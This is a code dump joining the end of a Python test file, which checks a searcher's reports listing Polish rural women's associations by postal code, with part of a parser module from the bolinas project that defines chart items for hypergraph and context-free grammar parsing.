WIEJSKICH "BUBNOWSKIE BABY"' + '\n' + \ 'Sęków 15' + '\n' + \ '22-234 Sęków' + '\n\n' + \ '======================================================================' + '\n' + \ '21-421 ZASTAWIE' + '\n\n' + \ 'Koło Gospodyń Wiejskich w Zastawiu' + '\n' + \ 'Zastawie 47A' + '\n' + \ '21-421 Zastawie' + '\n\n' + \ 'Results found: 2' data_dir_path, report_dir_path = get_io_dir_paths(test_suite, test_case='single_result_twice') searcher = run_krkgw_searcher(data_dir_path, report_dir_path) assert_report_file_content_equals(expected_report, searcher.report_file_path) def test_multiple_results(create_reports_dirs, remove_reports_dirs): expected_report = \ '======================================================================' + '\n' + \ '38-315 KUNKOWA' + '\n\n' + \ 'Koło Gospodyń Wiejskich i Gospodarzy w Kunkowej' + '\n' + \ 'Kunkowa 18' + '\n' + \ '38-315 Kunkowa' + '\n\n' + \ 'Koło Gospodyń Wiejskich w Kunkowej i Leszczynach' + '\n' + \ 'Kunkowa 18' + '\n' + \ '38-315 Kunkowa' + '\n\n' + \ 'Results found: 2' data_dir_path, report_dir_path = get_io_dir_paths(test_suite, test_case='multiple_results') searcher = run_krkgw_searcher(data_dir_path, report_dir_path) assert_report_file_content_equals(expected_report, searcher.report_file_path) def test_multiple_results_indirect_matches_skipped(create_reports_dirs, remove_reports_dirs): expected_report = \ '======================================================================' + '\n' + \ '33-393 MARCINKOWICE' + '\n\n' + \ 'KOŁO GOSPODYŃ WIEJSKICH W MARCINKOWICACH' + '\n' + \ 'Marcinkowice 124' + '\n' + \ '33-393 Marcinkowice' + '\n\n' + \ 'KOŁO GOSPODYŃ WIEJSKICH W MARCINKOWICACH' + '\n' + \ 'Marcinkowice 104' + '\n' + \ '33-393 Marcinkowice' + '\n\n' + \ 'Koło Gospodyń Wiejskich "Marcinkowicanki"' + '\n' + \ 'Marcinkowice 47' + '\n' + \ '33-273 Marcinkowice' + '\n\n' + \ 'Results found: 3' data_dir_path, report_dir_path = get_io_dir_paths(test_suite, test_case='multiple_results_indirect_matches_skipped') searcher = run_krkgw_searcher(data_dir_path, report_dir_path) assert_report_file_content_equals(expected_report, searcher.report_file_path) def test_multiple_results_indirect_matches_allowed(create_reports_dirs, remove_reports_dirs): expected_report = \ '======================================================================' + '\n' + \ '24-100 TOMASZÓW' + '\n\n' + \ 'Koło Gospodyń Wiejskich w Tomaszowie' + '\n' + \ 'Tomaszów lok. 39' + '\n' + \ '24-100 Tomaszów' + '\n\n' + \ 'Koło Gospodyń Wiejskich w Tomaszowie' + '\n' + \ 'Tomaszów 44 "b"' + '\n' + \ '26-505 Tomaszów' + '\n\n' + \ 'Results found: 2' data_dir_path, report_dir_path = get_io_dir_paths(test_suite, test_case='multiple_results_indirect_matches_allowed') searcher = run_krkgw_searcher(data_dir_path, report_dir_path, allow_indirect_matches=True) assert_report_file_content_equals(expected_report, searcher.report_file_path) def test_multiple_results_duplicate_skipped(create_reports_dirs, remove_reports_dirs): expected_report = \ '======================================================================' + '\n' + \ '38-315 KUNKOWA' + '\n\n' + \ 'Koło Gospodyń Wiejskich i Gospodarzy w Kunkowej' + '\n' + \ 'Kunkowa 18' + '\n' + \ '38-315 Kunkowa' + '\n\n' + \ 'Koło Gospodyń Wiejskich w Kunkowej i Leszczynach' + '\n' + \ 'Kunkowa 18' + '\n' + \ '38-315 Kunkowa' + '\n\n' + \ '======================================================================' + '\n' + \ '38-315 KUNKOWA' + '\n\n' + \ 'Results found: 2' data_dir_path, report_dir_path = get_io_dir_paths(test_suite, test_case='multiple_results_duplicate_skipped') searcher = run_krkgw_searcher(data_dir_path, report_dir_path) assert_report_file_content_equals(expected_report, searcher.report_file_path) def test_multiple_results_duplicate_allowed(create_reports_dirs, remove_reports_dirs): expected_report = \ '======================================================================' + '\n' + \ '38-315 KUNKOWA' + '\n\n' + \ 'Koło Gospodyń Wiejskich i Gospodarzy w Kunkowej' + '\n' + \ 'Kunkowa 18' + '\n' + \ '38-315 Kunkowa' + '\n\n' + \ 'Koło Gospodyń Wiejskich w Kunkowej i Leszczynach' + '\n' + \ 'Kunkowa 18' + '\n' + \ '38-315 Kunkowa' + '\n\n' + \ '======================================================================' + '\n' + \ '38-315 KUNKOWA' + '\n\n' + \ 'Koło Gospodyń Wiejskich i Gospodarzy w Kunkowej' + '\n' + \ 'Kunkowa 18' + '\n' + \ '38-315 Kunkowa' + '\n\n' + \ 'Koło Gospodyń Wiejskich w Kunkowej i Leszczynach' + '\n' + \ 'Kunkowa 18' + '\n' + \ '38-315 Kunkowa' + '\n\n' + \ 'Results found: 4' data_dir_path, report_dir_path = get_io_dir_paths(test_suite, test_case='multiple_results_duplicate_allowed') searcher = run_krkgw_searcher(data_dir_path, report_dir_path, allow_duplicates=True) assert_report_file_content_equals(expected_report, searcher.report_file_path) def test_multiple_results_twice(create_reports_dirs, remove_reports_dirs): expected_report = \ '======================================================================' + '\n' + \ '38-315 KUNKOWA' + '\n\n' + \ 'Koło Gospodyń Wiejskich i Gospodarzy w Kunkowej' + '\n' + \ 'Kunkowa 18' + '\n' + \ '38-315 Kunkowa' + '\n\n' + \ 'Koło Gospodyń Wiejskich w Kunkowej i Leszczynach' + '\n' + \ 'Kunkowa 18' + '\n' + \ '38-315 Kunkowa' + '\n\n' + \ '======================================================================' + '\n' + \ '33-393 MARCINKOWICE' + '\n\n' + \ 'KOŁO GOSPODYŃ WIEJSKICH W MARCINKOWICACH' + '\n' + \ 'Marcinkowice 124' + '\n' + \ '33-393 Marcinkowice' + '\n\n' + \ 'KOŁO GOSPODYŃ WIEJSKICH W MARCINKOWICACH' + '\n' + \ 'Marcinkowice 104' + '\n' + \ '33-393 Marcinkowice' + '\n\n' + \ 'Koło Gospodyń Wiejskich "Marcinkowicanki"' + '\n' + \ 'Marcinkowice 47' + '\n' + \ '33-273 Marcinkowice' + '\n\n' + \ 'Results found: 5' data_dir_path, report_dir_path = get_io_dir_paths(test_suite, test_case='multiple_results_twice') searcher = run_krkgw_searcher(data_dir_path, report_dir_path) assert_report_file_content_equals(expected_report, searcher.report_file_path) def test_multiple_results_on_multiple_pages_all_allowed(create_reports_dirs, remove_reports_dirs): expected_report = \ '======================================================================' + '\n' + \ '00-001 NOWA WIEŚ' + '\n\n' + \ 'Koło Gospodyń Wiejskich Nowa Wieś Niemczańska' + '\n' + \ 'Nowa Wieś Niemczańska 36 lok. 2' + '\n' + \ '58-230 Nowa Wieś Niemczańska' + '\n\n' + \ 'Koło Gospodyń Wiejskich Nowowianki w Nowej Wsi Legnickiej' + '\n' + \ 'Nowa Wieś Legnicka 56' + '\n' + \ '59-241 Nowa Wieś Legnicka' + '\n\n' + \ 'Koło Gospodyń Wiejskich POLANKI w Nowej Wsi Grodziskiej' + '\n' + \ 'Nowa Wieś Grodziska 54' + '\n' + \ '59-524 Nowa Wieś Grodziska' + '\n\n' + \ 'Koło Gospodyń Wiejskich w Nowej Wsi "Ale Babki"' + '\n' + \ 'Nowa Wieś 63' + '\n' + \ '87-602 Nowa Wieś' + '\n\n' + \ 'Koło Gospodyń Wiejskich w Nowej Wsi' + '\n' + \ 'Nowa Wieś 80' + '\n' + \ '88-324 Nowa Wieś' + '\n\n' + \ 'Koło Gospodyń Wiejskich w Nowej Wsi' + '\n' + \ 'Nowa Wieś 76' + '\n' + \ '21-107 Nowa Wieś' + '\n\n' + \ 'Koło Gospodyń Wiejskich w Nowej Wsi' + '\n' + \ 'Nowa Wieś 20C' + '\n' + \ '22-600 Nowa Wieś' + '\n\n' + \ 'Koło Gospodyń Wiejskich w Nowej Wsi' + '\n' + \ 'Nowa Wieś 27' + '\n' + \ '99-300 Nowa Wieś' + '\n\n' + \ 'Koło Gospodyń Wiejskich ,,Futuryści" w Nowej Wsi' + '\n' + \ 'Nowa Wieś 84' + '\n' + \ '97-340 Nowa Wieś' + '\n\n' + \ 'Koło Gospodyń Wiejskich Nowa Wieś "Koniczynka"' + '\n' + \ 'Nowa Wieś 3' + '\n' + \ '97-330 Nowa Wieś' + '\n\n' + \ 'Koło Gospodyń Wiejskich Szlachcianki' + '\n' + \ 'Nowa Wieś Szlachecka 1b' + '\n' + \ '32-060 Nowa Wieś Szlachecka' + '\n\n' + \ 'Koło Gospodyń Wiejskich Nowa Wieś' + '\n' + \ 'Nowa Wieś 42' + '\n' + \ '32-046 Nowa Wieś' + '\n\n' + \ 'Koło Gospodyń Wiejskich w Nowej Wsi (gmina Łabowa)' + '\n' + \ 'Nowa Wieś 55' + '\n' + \ '33-336 Nowa Wieś' + '\n\n' + \ 'Koło Gospodyń Wiejskich w Nowej Wsi' + '\n' + \ 'Nowa Wieś 25' + '\n' + \ '05-660 Nowa Wieś' + '\n\n' + \ 'Koło Gospodyń Wiejskich w Nowej Wsi Babeczki z pieprzem i solą' + '\n' + \ 'Nowa Wieś 52' + '\n' + \ '26-900 Nowa Wieś' + '\n\n' + \ 'Koło Gospodyń Wiejskich "Nowalijki" w Nowej Wsi' + '\n' + \ 'ul. Reymonta 32 A' + '\n' + \ '07-416 Nowa Wieś' + '\n\n' + \ 'Koło Gospodyń Wiejskich w Nowej Wsi Wschodniej' + '\n' + \ 'Nowa Wieś Wschodnia 32A' + '\n' + \ '07-411 Nowa Wieś Wschodnia' + '\n\n' + \ 'Koło Gospodyń Wiejskich KAROLEWO-NOWA WIEŚ' + '\n' + \ 'Nowa Wieś 1' + '\n' + \ '09-505 Nowa Wieś' + '\n\n' + \ 'Koło Gospodyń Wiejskich "Stokrotka"' + '\n' + \ 'Nowa Wieś 7B' + '\n' + \ '09-440 Nowa Wieś' + '\n\n' + \ 'Koło Gospodyń Wiejskich Gospochy w Nowej Wsi' + '\n' + \ 'ul. Magnolii 7' + '\n' + \ '05-806 Nowa Wieś' + '\n\n' + \ 'KOŁO GOSPODYŃ WIEJSKICH W NOWEJ WSI' + '\n' + \ 'ul. Wolności 37' + '\n' + \ '08-300 Nowa Wieś' + '\n\n' + \ 'Koło Gospodyń Wiejskich w Nowej Wsi' + '\n' + \ 'Nowa Wieś lok. 90' + '\n' + \ '36-100 Nowa Wieś' + '\n\n' + \ 'Koło Gospodyń Wiejskich w Nowej Wsi' + '\n' + \ 'Nowa Wieś 152 A' + '\n' + \ '38-120 Nowa Wieś' + '\n\n' + \ 'Koło Gospodyń Wiejskich "Wespół w Zespół" w Nowej Wsi' + '\n' + \ 'Nowa Wieś 18F' + '\n' + \ '16-402 Nowa Wieś' + '\n\n' + \ 'KOŁO GOSPODYŃ WIEJSKICH FIOŁKI W NOWEJ WSI' + '\n' + \ 'Nowa Wieś 4' + '\n' + \ '77-320 Nowa Wieś' + '\n\n' + \ 'Koło Gospodyń Wiejskich w Nowej Wsi Przywidzkiej' + '\n' + \ 'ul. Szkolna 2' + '\n' + \ '83-047 Nowa Wieś Przywidzka' + '\n\n' + \ 'Koło Gospodyń Wiejskich w Nowej Wsi' + '\n' + \ 'Nowa Wieś 41' + '\n' + \ '42-110 Nowa Wieś' + '\n\n' + \ 'Koło Gospodyń Wiejskich Nowa Wieś' + '\n' + \ 'Nowa Wieś 100' + '\n' + \ '28-362 Nowa Wieś' + '\n\n' + \ 'Koło Gospodyń Wiejskich w Nowej Wsi' + '\n' + \ 'Nowa Wieś 25' + '\n' + \ '27-640 Nowa Wieś' + '\n\n' + \ 'Koło Gospodyń Wiejskich w Nowej Wsi „Nowalijki”' + '\n' + \ 'Nowa Wieś 9A' + '\n' + \ '11-030 Nowa Wieś' + '\n\n' + \ 'Koło Gospodyń Wiejskich w Nowej Wsi Niechanowskiej "Storczyk"' + '\n' + \ 'Nowa Wieś Niechanowska 14' + '\n' + \ '62-220 Nowa Wieś Niechanowska' + '\n\n' + \ 'Koło Gospodyń Wiejskich w Nowej Wsi Książęcej' + '\n' + \ 'Nowa Wieś Książęca 35' + '\n' + \ '63-640 Nowa Wieś Książęca' + '\n\n' + \ 'KOŁO GOSPODYŃ WIEJSKICH W NOWEJ WSI' + '\n' + \ 'Nowa Wieś ' + '\n' + \ '63-708 Nowa Wieś' + '\n\n' + \ 'Koło Gospodyń Wiejskich w Nowej Wsi' + '\n' + \ 'Nowa Wieś 19 lok. B7' + '\n' + \ '63-308 Nowa Wieś' + '\n\n' + \ 'Koło Gospodyń Wiejskich w Nowej Wsi Podgórnej' + '\n' + \ 'Nowa Wieś Podgórna 21 lok. 2' + '\n' + \ '62-320 Nowa Wieś Podgórna' + '\n\n' + \ 'Koło Gospodyń Wiejskich w Nowej Wsi Królewskiej' + '\n' + \ 'Nowa Wieś Królewska 22' + '\n' + \ '62-300 Nowa Wieś Królewska' + '\n\n' + \ 'Results found: 36' data_dir_path, report_dir_path = get_io_dir_paths(test_suite, test_case='multiple_results_on_multiple_pages_all_allowed') searcher = run_krkgw_searcher(data_dir_path, report_dir_path, allow_indirect_matches=True, allow_duplicates=True) assert_report_file_content_equals(expected_report, searcher.report_file_path) def test_multiple_results_on_multiple_pages_indirect_matches_skipped(create_reports_dirs, remove_reports_dirs): expected_report = \ '======================================================================' + '\n' + \ '62-300 NOWA WIEŚ' + '\n\n' + \ 'Koło Gospodyń Wiejskich w Nowej Wsi Niechanowskiej "Storczyk"' + '\n' + \ 'Nowa Wieś Niechanowska 14' + '\n' + \ '62-220 Nowa Wieś Niechanowska' + '\n\n' + \ 'Koło Gospodyń Wiejskich w Nowej Wsi Podgórnej' + '\n' + \ 'Nowa Wieś Podgórna 21 lok. 2' + '\n' + \ '62-320 Nowa Wieś Podgórna' + '\n\n' + \ 'Koło Gospodyń Wiejskich w Nowej Wsi Królewskiej' + '\n' + \ 'Nowa Wieś Królewska 22' + '\n' + \ '62-300 Nowa Wieś Królewska' + '\n\n' + \ 'Results found: 3' data_dir_path, report_dir_path = get_io_dir_paths(test_suite, test_case='multiple_results_on_multiple_pages_indirect_matches_skipped') searcher = run_krkgw_searcher(data_dir_path, report_dir_path) assert_report_file_content_equals(expected_report, searcher.report_file_path) def test_multiple_results_with_empty_details(create_reports_dirs, remove_reports_dirs): expected_report = \ '======================================================================' + '\n' + \ '89-200 TUR' + '\n\n' + \ 'Koło Gospodyń Wiejskich Centrum Kultury Ostrowite' + '\n' + \ 'ul. Szkolna 22' + '\n' + \ '89-620 Ostrowite' + '\n\n' + \ 'Results found: 1' data_dir_path, report_dir_path = get_io_dir_paths(test_suite, test_case='multiple_results_with_empty_details') searcher = run_krkgw_searcher(data_dir_path, report_dir_path) assert_report_file_content_equals(expected_report, searcher.report_file_path) def test_basic_use_cases(create_reports_dirs, remove_reports_dirs): """ no_result single_result multiple_results no_result_twice single_result_indirect_match_skipped multiple_results_on_multiple_pages_indirect_matches_skipped single_result_duplicate_skipped multiple_results_twice single_result_twice """ expected_report = \ '======================================================================' + '\n' + \ '33-383 MUSZYNKA' + '\n\n' + \ '======================================================================' + '\n' + \ '21-075 ZEZULIN PIERWSZY' + '\n\n' + \ 'Koło Gospodyń Wiejskich "Zezulin" w Zezulinie' + '\n' + \ 'Zezulin Pierwszy 22A' + '\n' + \ '21-075 Zezulin Pierwszy' + '\n\n' + \ '======================================================================' + '\n' + \ '38-315 KUNKOWA' + '\n\n' + \ 'Koło Gospodyń Wiejskich i Gospodarzy w Kunkowej' + '\n' + \ 'Kunkowa 18' + '\n' + \ '38-315 Kunkowa' + '\n\n' + \ 'Koło Gospodyń Wiejskich w Kunkowej i Leszczynach' + '\n' + \ 'Kunkowa 18' + '\n' + \ '38-315 Kunkowa' + '\n\n' + \ '======================================================================' + '\n' + \ '33-383 MUSZYNKA' + '\n\n' + \ '======================================================================' + '\n' + \ '33-322 JASIENNA' + '\n\n' + \ '======================================================================' + '\n' + \ '33-334 BOGUSZA' + '\n\n' + \ '======================================================================' + '\n' + \ '62-300 NOWA WIEŚ' + '\n\n' + \ 'Koło Gospodyń Wiejskich w Nowej Wsi Niechanowskiej "Storczyk"' + '\n' + \ 'Nowa Wieś Niechanowska 14' + '\n' + \ '62-220 Nowa Wieś Niechanowska' + '\n\n' + \ 'Koło Gospodyń Wiejskich w Nowej Wsi Podgórnej' + '\n' + \ 'Nowa Wieś Podgórna 21 lok. 2' + '\n' + \ '62-320 Nowa Wieś Podgórna' + '\n\n' + \ 'Koło Gospodyń Wiejskich w Nowej Wsi Królewskiej' + '\n' + \ 'Nowa Wieś Królewska 22' + '\n' + \ '62-300 Nowa Wieś Królewska' + '\n\n' + \ '======================================================================' + '\n' + \ '21-075 ZEZULIN PIERWSZY' + '\n\n' + \ '======================================================================' + '\n' + \ '33-393 MARCINKOWICE' + '\n\n' + \ 'KOŁO GOSPODYŃ WIEJSKICH W MARCINKOWICACH' + '\n' + \ 'Marcinkowice 124' + '\n' + \ '33-393 Marcinkowice' + '\n\n' + \ 'KOŁO GOSPODYŃ WIEJSKICH W MARCINKOWICACH' + '\n' + \ 'Marcinkowice 104' + '\n' + \ '33-393 Marcinkowice' + '\n\n' + \ 'Koło Gospodyń Wiejskich "Marcinkowicanki"' + '\n' + \ 'Marcinkowice 47' + '\n' + \ '33-273 Marcinkowice' + '\n\n' + \ '======================================================================' + '\n' + \ '22-234 SĘKÓW' + '\n\n' + \ 'KOŁO GOSPODYŃ WIEJSKICH "BUBNOWSKIE BABY"' + '\n' + \ 'Sęków 15' + '\n' + \ '22-234 Sęków' + '\n\n' + \ '======================================================================' + '\n' + \ '21-421 ZASTAWIE' + '\n\n' + \ 'Koło Gospodyń Wiejskich w Zastawiu' + '\n' + \ 'Zastawie 47A' + '\n' + \ '21-421 Zastawie' + '\n\n' + \ 'Results found: 11' data_dir_path, report_dir_path = get_io_dir_paths(test_suite, test_case='basic_use_cases') searcher = run_krkgw_searcher(data_dir_path, report_dir_path) assert_report_file_content_equals(expected_report, searcher.report_file_path)

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bb2f35d72860c941a4140869fd28c700aa0e181d

19,950

py

Python

parser/vo_item.py

gemoku/bolinas

dbdc2417d8ae82394f3f8e5e0758bad86b9cfd5a

[ "MIT" ]

13

2015-12-05T16:30:48.000Z

2021-04-15T14:38:24.000Z

parser/vo_item.py

karlmoritz/bolinas

7a1a78bca0a6ba1cb9d80b13d2a87ce37993507f

[ "MIT" ]

1

2015-10-18T03:50:53.000Z

2015-10-18T03:58:28.000Z

parser/vo_item.py

karlmoritz/bolinas

7a1a78bca0a6ba1cb9d80b13d2a87ce37993507f

[ "MIT" ]

5

2015-10-18T03:10:07.000Z

2018-06-29T17:40:43.000Z

from common.hgraph.hgraph import NonterminalLabel from common import log import itertools # Some general advice for reading this file: # # Every rule specifies some fragment of the object (graph, string or both) that # is being parsed, as well as a visit order on the individual elements of that # fragment (tokens or edges respectively). The number of elements already # visited is called the "size" of this item, and an item with nothing left to # visit is "closed". The visit order specifies an implicit binarization of the # rule in question, by allowing the item to consume only one other object (which # we call the "outside" of the item) at any given time. # # In consuming this object, we either "shift" a terminal element or "complete" a # nonterminal (actually a closed chart item). Each of these steps produces a new # chart item. class Item(object): pass class HergItem(Item): """ Chart item for a HRG parse. """ def __init__(self, rule, size=None, shifted=None, mapping=None, nodeset=None, nodelabels=False): # by default start empty, with no part of the graph consumed if size == None: size = 0 if shifted == None: shifted = frozenset() if mapping == None: mapping = dict() if nodeset == None: nodeset = frozenset() self.rule = rule self.size = size self.shifted = shifted self.mapping = mapping self.nodeset = nodeset self.rev_mapping = dict((val, key) for key, val in mapping.items()) self.nodelabels = nodelabels # Store the nonterminal symbol and index of the previous complete # on this item so we can rebuild the derivation easily triples = rule.rhs1.triples(nodelabels = nodelabels) self.outside_symbol = None if size < len(triples): # this item is not closed self.outside_triple = triples[rule.rhs1_visit_order[size]] self.outside_edge = self.outside_triple[1] self.closed = False self.outside_is_nonterminal = isinstance(self.outside_triple[1], NonterminalLabel) if self.outside_is_nonterminal: # strip the index off of the nonterminal label #self.outside_symbol = str(self.outside_triple[1]) #self.outside_symbol = self.outside_symbol[1:].split('[')[0] self.outside_symbol = self.outside_triple[1].label self.outside_nt_index = self.outside_triple[1].index else: # this item is closed self.outside_triple = None self.outside_edge = None self.closed = True self.outside_is_nonterminal = False self.__cached_hash = None def __hash__(self): # memoize the hash function if not self.__cached_hash: self.__cached_hash = 2 * hash(self.rule) + 3 * self.size + \ 5 * hash(self.shifted) return self.__cached_hash def __eq__(self, other): return isinstance(other, HergItem) and \ other.rule == self.rule and \ other.size == self.size and \ other.shifted == self.shifted and \ other.mapping == self.mapping def uniq_str(self): """ Produces a unique string representation of this item. When representing charts in other formats (e.g. when writing a tiburon RTG file) we have to represent this item as a string, which we build from the rule id and list of nodes. """ return 'R%d__%s' % (self.rule.rule_id, self.uniq_cover_str()) def uniq_cover_str(self): edges = set() for head, elabel, tail in self.shifted: if tail: edges.add('%s:%s' % (head[0], ':'.join([x[0] for x in tail]))) else: edges.add(head[0]) return ','.join(sorted(list(edges))) def __repr__(self): return 'HergItem(%d, %d, %s, %s)' % (self.rule.rule_id, self.size, self.rule.symbol, len(self.shifted)) def __str__(self): return '[%d, %d/%d, %s, {%s}]' % (self.rule.rule_id, self.size, len(self.rule.rhs1.triples()), self.outside_symbol, str([x for x in self.shifted])) def can_shift(self, new_edge): """ Determines whether new_edge matches the outside of this item, and can be shifted. """ #print "SHIFT", self, "<---", new_edge # can't shift into a closed item if self.closed: return False # can't shift an edge that is already inside this item if new_edge in self.shifted: return False olabel = self.outside_triple[1] nlabel = new_edge[1] # make sure new_edge mathes the outside label if olabel != nlabel: return False # make sure new_edge preserves a consistent mapping between the nodes of the # graph and the nodes of the rule if self.nodelabels: #print o1 o1, o1_label = self.outside_triple[0] n1, n1_label = new_edge[0] if o1_label != n1_label: return False else: o1 = self.outside_triple[0] n1 = new_edge[0] if o1 in self.mapping and self.mapping[o1] != n1: return False # if this node is not a node of this rule RHS, but of a subgraph it needs to have a mapping. # otherwise, we can't attach. if n1 in self.nodeset and n1 not in self.rev_mapping: return False if self.nodelabels: if self.outside_triple[2]: o2, o2_labels = zip(*self.outside_triple[2]) else: o2, o2_labels = [],[] if new_edge[2]: n2, n2_labels = zip(*new_edge[2]) else: n2, n2_labels = [],[] if o2_labels != n2_labels: return False else: o2 = self.outside_triple[2] n2 = new_edge[2] if len(o2) != len(n2): return False for i in range(len(o2)): if o2[i] in self.mapping and self.mapping[o2[i]] != n2[i]: return False # Again, need to make sure this node is part of the rule RHS, not of a # proper subgraph. if n2[i] in self.nodeset and n2[i] not in self.rev_mapping: return False return True def shift(self, new_edge): """ Creates the chart item resulting from a shift of new_edge. Assumes can_shift returned true. """ olabel = self.outside_triple[1] o1 = self.outside_triple[0][0] if self.nodelabels else self.outside_triple[0] o2 = tuple(x[0] for x in self.outside_triple[2]) if self.nodelabels else self.outside_triple[2] nlabel = new_edge[1] n1 = new_edge[0][0] if self.nodelabels else new_edge[0] n2 = tuple(x[0] for x in new_edge[2]) if self.nodelabels else new_edge[2] new_nodeset = self.nodeset | set(n2) | set([n1]) assert len(o2) == len(n2) new_size = self.size + 1 new_shifted = frozenset(self.shifted | set([new_edge])) new_mapping = dict(self.mapping) new_mapping[o1] = n1 for i in range(len(o2)): new_mapping[o2[i]] = n2[i] return HergItem(self.rule, new_size, new_shifted, new_mapping, new_nodeset, self.nodelabels) def can_complete(self, new_item): """ Determines whether new_item matches the outside of this item (i.e. if the nonterminals match and the node mappings agree). """ # can't add to a closed item if self.closed: #log.debug('fail bc closed') return False # can't shift an incomplete item if not new_item.closed: #log.debug('fail bc other not closed') return False # make sure labels agree if not self.outside_is_nonterminal: #log.debug('fail bc outside terminal') return False #Make sure items are disjoint if any(edge in self.shifted for edge in new_item.shifted): #log.debug('fail bc overlap') return False # make sure mappings agree if self.nodelabels: o1, o1label = self.outside_triple[0] if self.outside_triple[2]: o2, o2labels = zip(*self.outside_triple[2]) else: o2, o2labels = [],[] else: o1 = self.outside_triple[0] o2 = self.outside_triple[2] if len(o2) != len(new_item.rule.rhs1.external_nodes): #log.debug('fail bc hyperedge type mismatch') return False nroot = list(new_item.rule.rhs1.roots)[0] #Check root label if self.nodelabels and o1label != new_item.rule.rhs1.node_to_concepts[nroot]: return False if o1 in self.mapping and self.mapping[o1] != new_item.mapping[nroot]: # new_item.mapping[new_item.rule.rhs1.roots[0]]: #log.debug('fail bc mismapping') return False real_nroot = new_item.mapping[nroot] real_ntail = None for i in range(len(o2)): otail = o2[i] ntail = new_item.rule.rhs1.rev_external_nodes[i] #Check tail label if self.nodelabels and o2labels[i] != new_item.rule.rhs1.node_to_concepts[ntail]: return False if otail in self.mapping and self.mapping[otail] != new_item.mapping[ntail]: #log.debug('fail bc bad mapping in tail') return False for node in new_item.mapping.values(): if node in self.rev_mapping: onode = self.rev_mapping[node] if not (onode == o1 or onode in o2): return False return True def complete(self, new_item): """ Creates the chart item resulting from a complete of new_item. Assumes can_shift returned true. """ olabel = self.outside_triple[1] o1 = self.outside_triple[0][0] if self.nodelabels else self.outside_triple[0] o2 = tuple(x[0] for x in self.outside_triple[2]) if self.nodelabels else self.outside_triple[2] new_size = self.size + 1 new_shifted = frozenset(self.shifted | new_item.shifted) new_mapping = dict(self.mapping) new_mapping[o1] = new_item.mapping[list(new_item.rule.rhs1.roots)[0]] for i in range(len(o2)): otail = o2[i] ntail = new_item.rule.rhs1.rev_external_nodes[i] new_mapping[otail] = new_item.mapping[ntail] new_nodeset = self.nodeset | new_item.nodeset new = HergItem(self.rule, new_size, new_shifted, new_mapping, new_nodeset, self.nodelabels) return new class CfgItem(Item): """ Chart item for a CFG parse. """ def __init__(self, rule, size=None, i=None, j=None, nodelabels = False): # until this item is associated with some span in the sentence, let i and j # (the left and right boundaries) be -1 if size == None: size = 0 if i == None: i = -1 if j == None: j = -1 self.rule = rule self.i = i self.j = j self.size = size self.shifted = [] assert len(rule.rhs1) != 0 if size == 0: assert i == -1 assert j == -1 self.closed = False self.outside_word = rule.rhs1[rule.rhs1_visit_order[0]] elif size < len(rule.string): self.closed = False self.outside_word = rule.string[rule.rhs1_visit_order[self.size]] else: self.closed = True self.outside_word = None if self.outside_word and isinstance(self.outside_word, NonterminalLabel): self.outside_is_nonterminal = True self.outside_symbol = self.outside_word.label self.outside_nt_index = self.outside_word.index else: self.outside_is_nonterminal = False self.__cached_hash = None def __hash__(self): if not self.__cached_hash: self.__cached_hash = 2 * hash(self.rule) + 3 * self.i + 5 * self.j return self.__cached_hash def __eq__(self, other): return isinstance(other, CfgItem) and \ other.rule == self.rule and \ other.i == self.i and \ other.j == self.j and \ other.size == self.size def __repr__(self): return 'CfgItem(%d, %d, %s, (%d, %d))' % (self.rule.rule_id, self.size, str(self.closed), self.i, self.j) def __str__(self): return '[%s, %d/%d, (%d,%d)]' % (self.rule, self.size, len(self.rule.rhs1), self.i,self.j) def uniq_str(self): """ Produces a unique string representation of this item (see note on uniq_str in HergItem above). """ return '%d__%d_%d' % (self.rule.rule_id, self.i, self.j) def can_shift(self, word, index): """ Determines whether word matches the outside of this item (i.e. is adjacent and has the right symbol) and can be shifted. """ if self.closed: return False if self.i == -1: return True if index == self.i - 1: return self.outside_word == word elif index == self.j: return self.outside_word == word return False def shift(self, word, index): """ Creates the chart item resulting from a shift of the word at the given index. """ if self.i == -1: return CfgItem(self.rule, self.size+1, index, index+1) elif index == self.i - 1: return CfgItem(self.rule, self.size+1, self.i-1, self.j) elif index == self.j: return CfgItem(self.rule, self.size+1, self.i, self.j+1) assert False def can_complete(self, new_item): """ Determines whether new_item matches the outside of this item. """ if self.closed: return False if not new_item.closed: return False if self.outside_symbol != new_item.rule.symbol: return False return self.i == -1 or new_item.i == self.j #or new_item.j == self.i def complete(self, new_item): """ Creates the chart item resulting from a completion with the given item. """ if self.i == -1: return CfgItem(self.rule, self.size+1, new_item.i, new_item.j) elif new_item.i == self.j: return CfgItem(self.rule, self.size+1, self.i, new_item.j) elif new_item.j == self.i: return CfgItem(self.rule, self.size+1, new_item.i, self.j) assert False class SynchronousItem(Item): """ Chart item for a synchronous CFG/HRG parse. (Just a wrapper for paired CfgItem / HergItem.) """ def __init__(self, rule, item1class, item2class, item1 = None, item2 = None, nodelabels = False): self.shifted = ([],[]) self.rule = rule self.nodelabels = nodelabels self.item1class = item1class self.item2class = item2class if item1: self.item1 = item1 else: self.item1 = item1class(rule.project_left(), nodelabels = nodelabels) if item2: self.item2 = item2 else: self.item2 = item2class(rule.project_right(), nodelabels = nodelabels) if self.item1.closed and self.item2.closed: self.closed = True else: self.closed = False # Now we potentially have two outsides---one in the graph and the other in # the string. The visit order will guarantee that if we first consume all # terminals in any order, the remainder of both string and graph visit # orders will agree on the sequence in which to consume nonterminals. (See # the Rule class.) Before consuming all terminals, it might be the case that # one item has a terminal outside and the other a nonterminal; in that case # we do not want an outside nonterminal associated with this item. if item1class is CfgItem: self.outside1_is_nonterminal = self.item1.outside_is_nonterminal self.outside_object1 = self.item1.outside_word else: self.outside1_is_nonterminal = self.item1.outside_is_nonterminal self.outside_object1= self.item1.outside_triple[1] if \ self.item1.outside_triple else None if item2class is CfgItem: self.outside2_is_nonterminal = self.item2.outside_is_nonterminal self.outside_object2 = self.item2.outside_word else: self.outside2_is_nonterminal = self.item2.outside_is_nonterminal self.outside_object2 = self.item2.outside_triple[1] if \ self.item2.outside_triple else None self.outside_is_nonterminal = self.outside1_is_nonterminal and \ self.outside2_is_nonterminal if self.outside_is_nonterminal: assert self.outside_object1 == self.outside_object2 self.outside_symbol = self.item1.outside_symbol self.outside_nt_index = self.item1.outside_nt_index self.__cached_hash = None def uniq_str(self): """ Produces a unique string representation of this item (see note on uniq_str in HergItem above). """ edges = set() if item1class is CfgItem: item1cover = "%d,%d" % (self.item1.i, self.item1.j) elif item1class is HergItem: item1cover = item1.uniq_cover_str(self) if item2class is CfgItem: item2cover = "%d,%d" % (self.item2.i, self.item2.j) elif item2class is HergItem: item2cover = item2.uniq_cover_str(self) return '%d__%s__%s' % 